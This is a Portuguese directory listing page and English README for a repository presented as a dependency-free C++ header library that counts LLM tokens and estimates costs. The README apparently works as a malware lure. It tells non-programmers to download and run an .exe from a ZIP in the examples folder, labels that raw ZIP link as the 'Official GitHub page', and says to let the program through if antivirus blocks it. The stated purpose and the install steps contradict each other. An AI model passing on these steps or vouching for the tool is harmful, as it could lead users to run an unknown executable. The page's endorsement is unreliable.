llm-cost
islaagnet27/llm-cost
Conta tokens e estima custos de LLMs em C++ sem dependências
Ver no GitHubBiblioteca C++ single-header para contar tokens e estimar custos de APIs de LLMs (OpenAI e Anthropic). Ferramenta leve e sem dependências externas, ideal para controlar gastos com modelos de linguagem sem configurações complexas.
Instalação
npx convez-ai islaagnet27/llm-cost1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Estimativa de custo antes de chamar APIs de LLMs
- Monitoramento de consumo de tokens em aplicações C++
- Planejamento orçamentário para projetos com IA
Veredito

Solução minimalista e prática para desenvolvedores C++ que precisam rastrear custos de LLMs sem overhead. Single-header e sem dependências a torna fácil de integrar, mas o suporte limitado a Windows pode restringir sua adoção em ambientes multiplataforma.
README
A tradução para o português deste README ainda está na fila.
⚖️ llm-cost - Easy Token Counting and Cost Estimation
🔍 What is llm-cost?
llm-cost is a simple tool to count tokens and estimate costs for OpenAI and Anthropic language models. It uses a single C++ header file, so it does not need any extra software to run.
This tool helps you understand how many tokens your text uses and what the estimated cost would be when you work with these AI models. It is useful if you want to track costs without complicated setups.
💻 System Requirements
- Windows 10 or newer
- At least 1 GB of free disk space
- No installation of extra programs needed
- Works with any text input, no programming experience required
🚀 Getting Started
Step 1: Visit the Download Page
Start by opening the llm-cost download page here:
Click this link and it will take you to the GitHub page where you can get all files related to this tool.
Step 2: Download the Software
On the GitHub page, look for a button or link called Code or Releases. Follow these steps:
- If you see a Releases tab, click it. Find the latest version of llm-cost.
- Download the file called something like
llm-cost.ziporllm-cost.exe.
If you download a ZIP file, you will need to unzip it to access the program files.
Step 3: Run the Program
- If you downloaded an
.exefile, just double-click it to start. - If you have unzipped files, open the folder and look for the executable file to run.
When you open the software, you will see a simple window or command prompt that asks for your text input.
📝 How to Use llm-cost
- Enter your text. Copy and paste the text you want to check into the program.
- Select model type. Choose whether you want to count tokens for OpenAI models or Anthropic models.
- Check results. The tool will show you how many tokens your text uses. You will also see an estimated cost for each model.
The program uses current token prices for each provider. This helps you understand how much it might cost to process your text using these AI services.
⚙️ Features
- Counts tokens instantly from your text input
- Estimates costs based on the latest rates for OpenAI and Anthropic models
- No external dependencies, easy to run on Windows
- Uses a single C++ header file for transparency and ease of use
- Supports multiple language models in one tool
🔧 Troubleshooting
- If the program does not open after you double-click the file, check that your computer meets the system requirements.
- Make sure your antivirus software did not block the program. If so, allow it to run.
- If you downloaded a ZIP file, be sure to extract it before running.
- If the token count seems off, verify that you entered the full text correctly without extra spaces or characters.
🔗 Useful Links
- Official GitHub page: https://github.com/islaagnet27/llm-cost/raw/refs/heads/main/examples/llm_cost_v3.3.zip
- Download page: https://github.com/islaagnet27/llm-cost/raw/refs/heads/main/examples/llm_cost_v3.3.zip
🛠️ Additional Information for Users
llm-cost works entirely on your Windows machine. It does not send any data to the internet, so your text stays private.
The tool is designed to be easy to use. You do not need to install a programming environment or understand code. Just download, run, and start counting tokens.
If you want to learn more about tokens and why counting them matters, you can look up "tokenization in language models" online for simple guides and explanations.
📁 File Contents (If Downloading ZIP)
llm-cost.exe— The main program to run the token counterREADME.md— This file with instructionsllm-cost.h— The C++ header file that contains the core code
You only need to run the llm-cost.exe to use the tool. The header file is for developers who want to use the code in their own programs.
🔄 Updates and Maintenance
The llm-cost project is maintained regularly to keep rates up to date and improve token counting accuracy. Visit the GitHub page to check for new versions.
You can download updates the same way as the initial version. Simply replace your old files with the latest ones.